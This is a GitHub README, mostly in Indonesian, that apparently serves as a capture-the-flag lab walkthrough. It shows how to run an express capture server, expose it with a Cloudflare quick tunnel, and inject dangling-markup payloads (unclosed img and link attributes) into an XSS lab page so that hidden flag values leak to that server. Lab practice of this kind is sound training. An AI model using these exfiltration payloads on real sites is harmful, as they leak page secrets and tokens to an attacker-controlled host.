Skip to content

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

Repository files navigation

🎯 Setup Dangling Markup Capture Server

Step 1: Setup Node.js Server

1.1 Install Dependencies

mkdir dangling-markup
cd dangling-markup
npm init -y
npm install express

1.2 Buat file server.js

Salin code dari artifact server.js ke file server.js

1.3 Jalankan Server

node server.js

Server akan jalan di http://localhost:3000


Step 2: Expose ke Internet dengan Cloudflare Tunnel (GRATIS)

2.1 Install Cloudflare Tunnel (cloudflared)

Windows:

Linux/Mac:

# Linux
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared

# Mac (dengan Homebrew)
brew install cloudflared

2.2 Jalankan Tunnel (Tanpa Login - Quick Tunnel)

cloudflared tunnel --url http://localhost:3000

Output akan seperti ini:

Your quick Tunnel has been created! Visit it at (it may take some time to be reachable):
https://random-word-1234.trycloudflare.com

🎉 URL tersebut adalah public URL Anda!


Step 3: Gunakan URL untuk XSS Lab

3.1 Dapatkan URL Cloudflare Anda

Dari output cloudflared, copy URL-nya, contoh:

https://random-word-1234.trycloudflare.com

3.2 Buat Payload Dangling Markup

<img src='https://random-word-1234.trycloudflare.com/?

3.3 Masukkan ke Lab

Buka lab XSS:

https://gigh5vp3.xssy.uk/target.ftl?name=<img src='https://random-word-1234.trycloudflare.com/?

GANTI random-word-1234.trycloudflare.com dengan URL Cloudflare Anda!


Step 4: Monitor & Dapatkan Flag

4.1 Buka Dashboard

Akses: https://your-tunnel-url.trycloudflare.com/view

4.2 Lihat Captured Data

  • Refresh halaman /view untuk melihat request baru
  • Flag akan muncul dengan highlight khusus
  • Lihat di bagian "FLAG FOUND"

4.3 Alternative: Lihat Console

Flag juga akan muncul di terminal tempat node server.js berjalan


📝 Tips & Troubleshooting

Cloudflare Tunnel Putus?

Jalankan ulang command:

cloudflared tunnel --url http://localhost:3000

URL baru akan digenerate (berbeda dari sebelumnya)

Tidak Ada Data Masuk?

  1. Pastikan server Node.js tetap running
  2. Pastikan cloudflared tunnel tetap running
  3. Cek URL Cloudflare sudah benar di payload
  4. Pastikan payload menggunakan single quote ' bukan double quote "

Melihat Raw Request

Akses /logs untuk JSON format:

https://your-tunnel-url.trycloudflare.com/logs

Clear Logs

Akses /clear untuk hapus semua logs:

https://your-tunnel-url.trycloudflare.com/clear

🎯 Payload Examples

Basic Payload

<img src='https://YOUR-URL.trycloudflare.com/?

Dengan Custom Parameter

<img src='https://YOUR-URL.trycloudflare.com/?data=

Alternative Tags

<link rel=stylesheet href='https://YOUR-URL.trycloudflare.com/?

🔒 Security Note

Setelah selesai lab:

  1. Stop server Node.js (Ctrl+C)
  2. Stop Cloudflare tunnel (Ctrl+C)
  3. Tunnel akan otomatis expired setelah beberapa waktu

📊 Expected Result

Ketika berhasil, di /view Anda akan melihat:

🚩 FLAG FOUND: tuuljg43

Request URL akan berisi HTML dari page, termasuk:

<input type=hidden name=flag value=tuuljg43>

Good luck! 🚀

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages